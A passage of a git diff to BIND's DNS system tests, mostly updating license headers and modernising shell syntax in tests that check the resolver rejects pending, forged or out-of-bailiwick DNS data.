-echo "		echo \"I:      addresses on the loopback interface.  Please run\"; \\"
-echo "		echo \"I:      \"bin/tests/system/ifconfig.sh up\" as root to configure them.\"; \\"
-echo "		exit 1; \\"
-echo "	}"
-echo
-echo "test check: $PARALLELS"
-for directory in $PARALLELDIRS ; do
-        echo
-        echo "test-$(echo "$directory" | tr _ -): check_interfaces"
-        echo "	@${SHELL} ./run.sh -r $directory 2>&1 | tee test.output.$directory"
-done
diff --git a/bin/tests/system/pending/clean.sh b/bin/tests/system/pending/clean.sh
index 53efb0545f..89a4b5bb86 100644
--- a/bin/tests/system/pending/clean.sh
+++ b/bin/tests/system/pending/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/pending/ns1/named.conf.in b/bin/tests/system/pending/ns1/named.conf.in
index 09e5d85d0b..af5d628495 100644
--- a/bin/tests/system/pending/ns1/named.conf.in
+++ b/bin/tests/system/pending/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,6 +22,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/pending/ns1/root.db.in b/bin/tests/system/pending/ns1/root.db.in
index 271a8e50e1..fe7fe92293 100644
--- a/bin/tests/system/pending/ns1/root.db.in
+++ b/bin/tests/system/pending/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/pending/ns1/sign.sh b/bin/tests/system/pending/ns1/sign.sh
index c92aada3ab..cb3662fe53 100644
--- a/bin/tests/system/pending/ns1/sign.sh
+++ b/bin/tests/system/pending/ns1/sign.sh
@@ -1,9 +1,11 @@
-#!/bin/sh 
-#
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -17,11 +19,11 @@ zonefile=root.db
 
 (cd ../ns2 && $SHELL -e sign.sh )
 
-cp ../ns2/dsset-example$TP .
-cp ../ns2/dsset-example.com$TP .
+cp ../ns2/dsset-example. .
+cp ../ns2/dsset-example.com. .
 
-keyname1=`$KEYGEN -q -a RSASHA256 -b 1024 -n zone $zone`
-keyname2=`$KEYGEN -q -a RSASHA256 -b 2048 -f KSK -n zone $zone`
+keyname1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -f KSK -n zone $zone)
 cat $infile $keyname1.key $keyname2.key > $zonefile
 
 $SIGNER -g -o $zone $zonefile > /dev/null
diff --git a/bin/tests/system/pending/ns2/example.com.db.in b/bin/tests/system/pending/ns2/example.com.db.in
index 6ec93625df..ee3a1b83a5 100644
--- a/bin/tests/system/pending/ns2/example.com.db.in
+++ b/bin/tests/system/pending/ns2/example.com.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/pending/ns2/example.db.in b/bin/tests/system/pending/ns2/example.db.in
index a5dc49c76f..5b42e2ad5b 100644
--- a/bin/tests/system/pending/ns2/example.db.in
+++ b/bin/tests/system/pending/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/pending/ns2/forgery.db b/bin/tests/system/pending/ns2/forgery.db
index 89f945915f..fbf42bcdfc 100644
--- a/bin/tests/system/pending/ns2/forgery.db
+++ b/bin/tests/system/pending/ns2/forgery.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/pending/ns2/named.conf.in b/bin/tests/system/pending/ns2/named.conf.in
index 1930ae3387..59824df0a9 100644
--- a/bin/tests/system/pending/ns2/named.conf.in
+++ b/bin/tests/system/pending/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/pending/ns2/sign.sh b/bin/tests/system/pending/ns2/sign.sh
index 1a2a4db55e..4965f8519a 100644
--- a/bin/tests/system/pending/ns2/sign.sh
+++ b/bin/tests/system/pending/ns2/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -16,8 +18,8 @@ for domain in example example.com; do
 	infile=${domain}.db.in
 	zonefile=${domain}.db
 
-	keyname1=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone $zone`
-	keyname2=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -f KSK -n zone $zone`
+	keyname1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+	keyname2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -f KSK -n zone $zone)
 
 	cat $infile $keyname1.key $keyname2.key > $zonefile
 
diff --git a/bin/tests/system/pending/ns3/hostile.db b/bin/tests/system/pending/ns3/hostile.db
index 021258a70d..a19992258a 100644
--- a/bin/tests/system/pending/ns3/hostile.db
+++ b/bin/tests/system/pending/ns3/hostile.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/pending/ns3/mail.example.db b/bin/tests/system/pending/ns3/mail.example.db
index 2da8b4518b..77eb731bcd 100644
--- a/bin/tests/system/pending/ns3/mail.example.db
+++ b/bin/tests/system/pending/ns3/mail.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/pending/ns3/named.conf.in b/bin/tests/system/pending/ns3/named.conf.in
index 6385aa10a0..29afd19b0d 100644
--- a/bin/tests/system/pending/ns3/named.conf.in
+++ b/bin/tests/system/pending/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/pending/ns4/named.conf.in b/bin/tests/system/pending/ns4/named.conf.in
index 78ffed7e4d..dfb55413f8 100644
--- a/bin/tests/system/pending/ns4/named.conf.in
+++ b/bin/tests/system/pending/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,6 +22,7 @@ options {
 	listen-on { 10.53.0.4; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation yes;
 };
 
 zone "." {
diff --git a/bin/tests/system/pending/setup.sh b/bin/tests/system/pending/setup.sh
index becc22d4af..bf57f90369 100644
--- a/bin/tests/system/pending/setup.sh
+++ b/bin/tests/system/pending/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/pending/tests.sh b/bin/tests/system/pending/tests.sh
index 8b0878980c..362cef3ef8 100644
--- a/bin/tests/system/pending/tests.sh
+++ b/bin/tests/system/pending/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 # replace_data dname RR old_data new_data
@@ -49,18 +53,18 @@ DIGOPTS_CD="$DIGOPTS +cd"
 echo_i "Priming cache."
 ret=0
 expect="10 mail.example."
-ans=`$DIG $DIGOPTS_CD @10.53.0.4 hostile MX` || ret=1
+ans=$($DIG $DIGOPTS_CD @10.53.0.4 hostile MX) || ret=1
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking that bogus additional is not returned with +CD."
 ret=0
 expect="10.0.0.2"
-ans=`$DIG $DIGOPTS_CD @10.53.0.4 mail.example A` || ret=1
+ans=$($DIG $DIGOPTS_CD @10.53.0.4 mail.example A) || ret=1
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 # Prime cache with pending additional records.  These should not be promoted
@@ -69,36 +73,36 @@ status=`expr $status + $ret`
 echo_i "Priming cache (pending additional A and AAAA)"
 ret=0
 expect="10 mail.example.com."
-ans=`$DIG $DIGOPTS @10.53.0.4 example.com MX` || ret=1
+ans=$($DIG $DIGOPTS @10.53.0.4 example.com MX) || ret=1
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Replacing pending A"
 ret=0
 replace_data mail.example.com. A 192.0.2.2 192.0.2.3 || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Replacing pending AAAA"
 ret=0
 replace_data mail.example.com. AAAA 2001:db8::2 2001:db8::3 || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking updated data to be returned (without CD)"
 ret=0
 expect="192.0.2.3"
-ans=`$DIG $DIGOPTS @10.53.0.4 mail.example.com A` || ret=1
+ans=$($DIG $DIGOPTS @10.53.0.4 mail.example.com A) || ret=1
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Checking updated data to be returned (with CD)"
 ret=0
 expect="2001:db8::3"
-ans=`$DIG $DIGOPTS_CD @10.53.0.4 mail.example.com AAAA` || ret=1
+ans=$($DIG $DIGOPTS_CD @10.53.0.4 mail.example.com AAAA) || ret=1
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 # Prime cache with a pending answer record.  It can be returned (without
@@ -107,23 +111,23 @@ status=`expr $status + $ret`
 echo_i "Priming cache (pending answer)"
 ret=0
 expect="192.0.2.2"
-ans=`$DIG $DIGOPTS_CD @10.53.0.4 pending-ok.example.com A` || ret=1
+ans=$($DIG $DIGOPTS_CD @10.53.0.4 pending-ok.example.com A) || ret=1
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Replacing pending data"
 ret=0
 replace_data pending-ok.example.com. A 192.0.2.2 192.0.2.3 || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Confirming cached pending data to be returned with CD"
 ret=0
 expect="192.0.2.2"
-ans=`$DIG $DIGOPTS_CD @10.53.0.4 pending-ok.example.com A` || ret=1
+ans=$($DIG $DIGOPTS_CD @10.53.0.4 pending-ok.example.com A) || ret=1
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 # Prime cache with a pending answer record.  It should not be returned
@@ -132,23 +136,23 @@ status=`expr $status + $ret`
 echo_i "Priming cache (pending answer)"
 ret=0
 expect="192.0.2.102"
-ans=`$DIG $DIGOPTS_CD @10.53.0.4 pending-ng.example.com A` || ret=1
+ans=$($DIG $DIGOPTS_CD @10.53.0.4 pending-ng.example.com A) || ret=1
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Replacing pending data"
 ret=0
 replace_data pending-ng.example.com. A 192.0.2.102 192.0.2.103 || ret=1
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Confirming updated data returned, not the cached one, without CD"
 ret=0
 expect="192.0.2.103"
-ans=`$DIG $DIGOPTS @10.53.0.4 pending-ng.example.com A` || ret=1
+ans=$($DIG $DIGOPTS @10.53.0.4 pending-ng.example.com A) || ret=1
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 # Try to fool the resolver with an out-of-bailiwick CNAME
@@ -156,20 +160,20 @@ status=`expr $status + $ret`
 echo_i "Trying to Prime out-of-bailiwick pending answer with CD"
 ret=0
 expect="10.10.10.10"
-ans=`$DIG $DIGOPTS_CD @10.53.0.4 bad.example. A` || ret=1
-ans=`echo $ans | awk '{print $NF}'`
+ans=$($DIG $DIGOPTS_CD @10.53.0.4 bad.example. A) || ret=1
+ans=$(echo $ans | awk '{print $NF}')
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Confirming the out-of-bailiwick answer is not cached or reused with CD"
 ret=0
 expect="10.10.10.10"
-ans=`$DIG $DIGOPTS_CD @10.53.0.4 nice.good. A` || ret=1
-ans=`echo $ans | awk '{print $NF}'`
+ans=$($DIG $DIGOPTS_CD @10.53.0.4 nice.good. A) || ret=1
+ans=$(echo $ans | awk '{print $NF}')
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 # Make sure the resolver doesn't cache bogus NXDOMAIN
@@ -177,20 +181,20 @@ status=`expr $status + $ret`
 echo_i "Trying to Prime bogus NXDOMAIN"
 ret=0
 expect="SERVFAIL"
-ans=`$DIG +tcp -p ${PORT} @10.53.0.4 removed.example.com. A` || ret=1
-ans=`echo $ans | sed 's/^.*status: \([A-Z][A-Z]*\).*$/\1/'`
+ans=$($DIG +tcp -p ${PORT} @10.53.0.4 removed.example.com. A) || ret=1
+ans=$(echo $ans | sed 's/^.*status: \([A-Z][A-Z]*\).*$/\1/')
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "Confirming the bogus NXDOMAIN was not cached"
 ret=0
 expect="SERVFAIL"
-ans=`$DIG +tcp -p ${PORT} @10.53.0.4 removed.example.com. A` || ret=1
-ans=`echo $ans | sed 's/^.*status: \([A-Z][A-Z]*\).*$/\1/'`
+ans=$($DIG +tcp -p ${PORT} @10.53.0.4 removed.example.com. A) || ret=1
+ans=$(echo $ans | sed 's/^.*status: \([A-Z][A-Z]*\).*$/\1/')
 test "$ans" = "$expect" || ret=1
 test $ret = 0 || echo_i "failed, got '$ans', expected '$expect'"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/pending/tests_sh_pending.py b/bin/tests/system/pending/tests_sh_pending.py
new file mode 100644
index 0000000000..54b5afb271
--- /dev/null
+++ b/bin/tests/system/pending/tests_sh_pending.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_pending(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/pipelined/ans5/ans.py b/bin/tests/system/pipelined/ans5/ans.py
index 26d93077e6..bac5ed35d8 100644
--- a/bin/tests/system/pipelined/ans5/ans.py
+++ b/bin/tests/system/pipelined/ans5/ans.py
@@ -1,13 +1,13 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 ############################################################################
 #
@@ -47,25 +47,28 @@
 DELAY = 0.5
 THREADS = []
 
+
 def log(msg):
-    print(datetime.datetime.now().strftime('%d-%b-%Y %H:%M:%S.%f ') + msg)
+    print(datetime.datetime.now().strftime("%d-%b-%Y %H:%M:%S.%f ") + msg)
 
 
 def sigterm(*_):
-    log('SIGTERM received, shutting down')
+    log("SIGTERM received, shutting down")
     for thread in THREADS:
         thread.close()
         thread.join()
-    os.remove('ans.pid')
+    os.remove("ans.pid")
     sys.exit(0)
 
+
 class TCPDelayer(threading.Thread):
-    """ For a given TCP connection conn we open a connection to (ip, port),
-        and then we delay each incoming packet by DELAY by putting it in a
-        queue.
-        In the pipelined test TCP should not be used, but it's here for
-        completnes.
+    """For a given TCP connection conn we open a connection to (ip, port),
+    and then we delay each incoming packet by DELAY by putting it in a
+    queue.
+    In the pipelined test TCP should not be used, but it's here for
+    completnes.
     """
+
     def __init__(self, conn, ip, port):
         threading.Thread.__init__(self)
         self.conn = conn
@@ -81,13 +84,15 @@ def run(self):
         while self.running:
             curr_timeout = 0.5
             try:
-                curr_timeout = self.queue[0][0]-time.time()
+                curr_timeout = self.queue[0][0] - time.time()
             except StopIteration:
                 pass
             if curr_timeout > 0:
                 if curr_timeout == 0:
                     curr_timeout = 0.5
-                rfds, _, _ = select.select([self.conn, self.cconn], [], [], curr_timeout)
+                rfds, _, _ = select.select(
+                    [self.conn, self.cconn], [], [], curr_timeout
+                )
                 if self.conn in rfds:
                     data = self.conn.recv(65535)
                     if not data:
@@ -99,17 +104,19 @@ def run(self):
                         return
                     self.conn.send(data)
             try:
-                while self.queue[0][0]-time.time() < 0:
+                while self.queue[0][0] - time.time() < 0:
                     _, data = self.queue.pop(0)
                     self.cconn.send(data)
             except StopIteration:
                 pass
 
+
 class UDPDelayer(threading.Thread):
-    """ Every incoming UDP packet is put in a queue for DELAY time, then
-        it's sent to (ip, port). We remember the query id to send the
-        response we get to a proper source, responses are not delayed.
+    """Every incoming UDP packet is put in a queue for DELAY time, then
+    it's sent to (ip, port). We remember the query id to send the
+    response we get to a proper source, responses are not delayed.
     """
+
     def __init__(self, usock, ip, port):
         threading.Thread.__init__(self)
         self.sock = usock
@@ -126,50 +133,56 @@ def run(self):
         while self.running:
             curr_timeout = 0.5
             if self.queue:
-                curr_timeout = self.queue[0][0]-time.time()
+                curr_timeout = self.queue[0][0] - time.time()
             if curr_timeout >= 0:
                 if curr_timeout == 0:
                     curr_timeout = 0.5
-                rfds, _, _ = select.select([self.sock, self.csock], [], [], curr_timeout)
+                rfds, _, _ = select.select(
+                    [self.sock, self.csock], [], [], curr_timeout
+                )
                 if self.sock in rfds:
                     data, addr = self.sock.recvfrom(65535)
                     if not data:
                         return
                     self.queue.append((time.time() + DELAY, data))
-                    qid = struct.unpack('>H', data[:2])[0]
-                    log('Received a query from %s, queryid %d' % (str(addr), qid))
+                    qid = struct.unpack(">H", data[:2])[0]
+                    log("Received a query from %s, queryid %d" % (str(addr), qid))
                     self.qid_mapping[qid] = addr
                 if self.csock in rfds:
                     data, addr = self.csock.recvfrom(65535)
                     if not data:
                         return
-                    qid = struct.unpack('>H', data[:2])[0]
+                    qid = struct.unpack(">H", data[:2])[0]
                     dst = self.qid_mapping.get(qid)
                     if dst is not None:
                         self.sock.sendto(data, dst)
-                        log('Received a response from %s, queryid %d, sending to %s' % (str(addr), qid, str(dst)))
-            while self.queue and self.queue[0][0]-time.time() < 0:
+                        log(
+                            "Received a response from %s, queryid %d, sending to %s"
+                            % (str(addr), qid, str(dst))
+                        )
+            while self.queue and self.queue[0][0] - time.time() < 0:
                 _, data = self.queue.pop(0)
-                qid = struct.unpack('>H', data[:2])[0]
-                log('Sending a query to %s, queryid %d' % (str(self.dst), qid))
+                qid = struct.unpack(">H", data[:2])[0]
+                log("Sending a query to %s, queryid %d" % (str(self.dst), qid))
                 self.csock.sendto(data, self.dst)
 
+
 def main():
     signal.signal(signal.SIGTERM, sigterm)
     signal.signal(signal.SIGINT, sigterm)
 
-    with open('ans.pid', 'w') as pidfile:
+    with open("ans.pid", "w") as pidfile:
         print(os.getpid(), file=pidfile)
 
-    listenip = '10.53.0.5'
-    serverip = '10.53.0.2'
+    listenip = "10.53.0.5"
+    serverip = "10.53.0.2"
 
     try:
-        port = int(os.environ['PORT'])
+        port = int(os.environ["PORT"])
     except KeyError:
         port = 5300
 
-    log('Listening on %s:%d' % (listenip, port))
+    log("Listening on %s:%d" % (listenip, port))
 
     usock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
     usock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
@@ -187,12 +200,13 @@ def main():
     while True:
         try:
             (clientsock, _) = sock.accept()
-            log('Accepted connection from %s' % clientsock)
+            log("Accepted connection from %s" % clientsock)
             thread = TCPDelayer(clientsock, serverip, port)
             thread.start()
             THREADS.append(thread)
         except socket.timeout:
             pass
 
-if __name__ == '__main__':
+
+if __name__ == "__main__":
     main()
diff --git a/bin/tests/system/pipelined/clean.sh b/bin/tests/system/pipelined/clean.sh
index 8fa0c2a63b..7ec0aad06b 100644
--- a/bin/tests/system/pipelined/clean.sh
+++ b/bin/tests/system/pipelined/clean.sh
@@ -1,17 +1,19 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-rm -f */named.conf
-rm -f */named.memstats
-rm -f */named.run
-rm -f raw* output*
+rm -f ./*/named.conf
+rm -f ./*/named.memstats
+rm -f ./*/named.run*
+rm -f raw* output* ./*.out.*
 rm -f ns*/named.lock
 rm -f ns*/managed-keys.bind*
diff --git a/bin/tests/system/pipelined/ns1/named.conf.in b/bin/tests/system/pipelined/ns1/named.conf.in
index bf8ed04fc1..6cfac77c02 100644
--- a/bin/tests/system/pipelined/ns1/named.conf.in
+++ b/bin/tests/system/pipelined/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,7 +26,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/pipelined/ns1/root.db b/bin/tests/system/pipelined/ns1/root.db
index dfa7e8c7fc..f2819a1ecf 100644
--- a/bin/tests/system/pipelined/ns1/root.db
+++ b/bin/tests/system/pipelined/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
